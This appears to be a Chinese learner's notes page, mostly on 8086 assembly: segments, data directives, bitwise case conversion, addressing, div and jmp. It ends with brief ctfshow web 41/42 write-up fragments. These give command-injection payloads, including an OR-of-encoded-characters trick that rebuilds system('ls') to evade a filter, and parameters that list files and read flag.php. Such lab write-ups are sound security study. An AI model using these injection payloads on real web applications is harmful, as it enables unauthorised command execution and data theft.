目录
assume cs:codesg
codesg segment
mov ax,020h
mov ds,ax
mov ax,0ffffh
mov es,ax
mov bx,0
mov cx,12
s:mov dl,es:[bx]
mov [bx],dl
inc bx
loop smov ax,4c00h
int 21hcodesg ends
end
上面是编写的一段汇编源代码
含多个段的程序
assume cs:codesg
codesg segment
dw 0123h,0234h,0456h,0567h
mov bx,0 ...............................(1)
mov ax,0
mov cx,4
s:add ax,cs:[bx]
add bx,2
loop s
mov ax,4c00h
int 21h
codesg ends
end
dw和意思是“define word”,定义字型数据,用dw定义的数据位于代码段的最开始,从cs中可以得到他们的段地址,起始偏移地址为0,后来每次加2。
在(1)的前方加上start:可以指定程序编译时的第一条指令从此处开始(因为此时以cs为段地址的前8条指令用来定义字型数据),最后还要在end后加start
将数据,代码,段放入不同段中
assume cs:code,ds:data,ss:stack
data segment
dw 0123h,0234h,0789h,0defh,0123h,0456h,0234h,0478h
data ends
stack segment
dw 0,0,0,0,0,0,,0,0,0,0,0,0,0,0,0,,0
stack ends
code segment
start: mov ax,stack
mov ss,ax
mov sp,20h //设置栈顶
mov ax,data
mov ds,ax
mov bx,0
mov cx,8
s:push [bx]
add bx,2
loop s
mov bx,0
mov cx,8
s1:pop [bx]
add bx,2
loop s1
mov ax,4c00h
int 21h
code ends
end start
指令mov ax,code的含义就是将data的段地址送入ax中
and 和 or 指令
and:按位与运算
or:按位或运算
db指令
DB作为汇编语言中的伪操作命令,它用来定义操作数占用的字节数(段地址为ss)
assume cs:code,ds:data
data segment
db 'xyzs'
db 'abcd'
data ends
code segment
start:mov ax,'a'
mov bl,'b'
mov ax,4c00h
int 21h
code ends
end start
链接运行后
大小写字母转换
可以让大写字母+20h=小写字母,但是这样需要一个判断
仔细观察小写字母和大写字母ascii码的二进制形式,发现因为小写字母比大写字母大20h,所以二进制第五位小写字母为1,大写字母为0。
assume cs:code,ds:data
data segment
db 'xyzs'
db 'abcd'
data ends
code segment
start:mov ax,data
mov ds,ax
mov bx,0
mov cx,4
s:mov al,[bx]
and al,11011111B
mov [bx],al
inc bx
loop s
mov bx,4
mov cx,4
s1:mov al,[bx]
or al,00100000B
mov [bx],al
inc bx
loop s1
mov ax,4c00h
int 21h
code ends
end start
0[bx]: [bx+0]
SI和DI
si和di是8086CPU中和bx功能相近的寄存器,不能分为两个8位寄存器来使用
在8086CPU中,只有bx,si,di,bp这四个寄存器可以用在[...]中进行内存单元的寻址
这四种寄存器可以单个出现,或者只能以四种组合形式出现:bx和si,bx和di,bp和si,bp和di。
若使用了寄存器bp,没有指定段地址,默认为ss
用(word|byte)ptr指明内存单元的长度
mov word ptr ds:[0],1
mov byte ptr ds:[0],1
[bx].10h[si]:[bx+idata+si]
div指令
div byte ptr ds:[0]
(al) = (ax) / ((ds) * 16 + 0)的商
(ah) = (ax) / ((ds) * 16 + 0)的余数
div word ptr es:[0]
(ax) = ((dx)*10000H+(ax)) / ((es)*16 + 0)的商
(dx) = ((dx)*10000H+(ax)) / ((es)*16 + 0)的余数
伪指令dd
dd指令用来定义双字型数据的
dd 1 //占两个字
dup
和db, dw, dd等指令配合使用
转移指令
修改ip或同时修改cs和ip的指令
操作符offset
它的功能是取得标号的偏移地址
start: mov ax,offset start //offset start相当于0
s: mov ax,offset s //offset start相当于3
jmp指令
前面我们了解到jmp 可以用来修改ip,也可以同时修改cs和ip
jmp short 标号:转到标号处执行指令,实现的是段内短转移,对ip的修改范围为:-128~127
jmp near ptr 标号实现的是段内近转移,修改范围为:-32768~32767
jmp far ptr 标号实现的是段间转移
jmp word ptr 内存单元地址(段内转移)
mov ax,0123H
mov ds:[0],ax
jmp word ptr ds:[0] ;执行后,ip=0123H
jmp dword ptr 内存单元地址(段间转移)
jcxz指令
jcxz指令时段转移。
jcxz 标号:若cx=0,转移到标号处执行,cx<>0,则程序继续向下执行
buuctf pwn
test_your_nc
reverse3
ctfshow web 入门
web 41
参考这篇文章
因为文中没有过滤‘|’,所以可以考虑用两个字符或组成所需要的字符
?c=system("ls");
?c=system("cat ")
运行上述文章中的php代码,可得如下
则system("ls");等价于("%60%60%60%60%60%60"|"%13%19%13%14%05%0d")("%60%60"|"%0c%13")
web42
?c=ls;
?c=cat flag.php;
查看源代码可得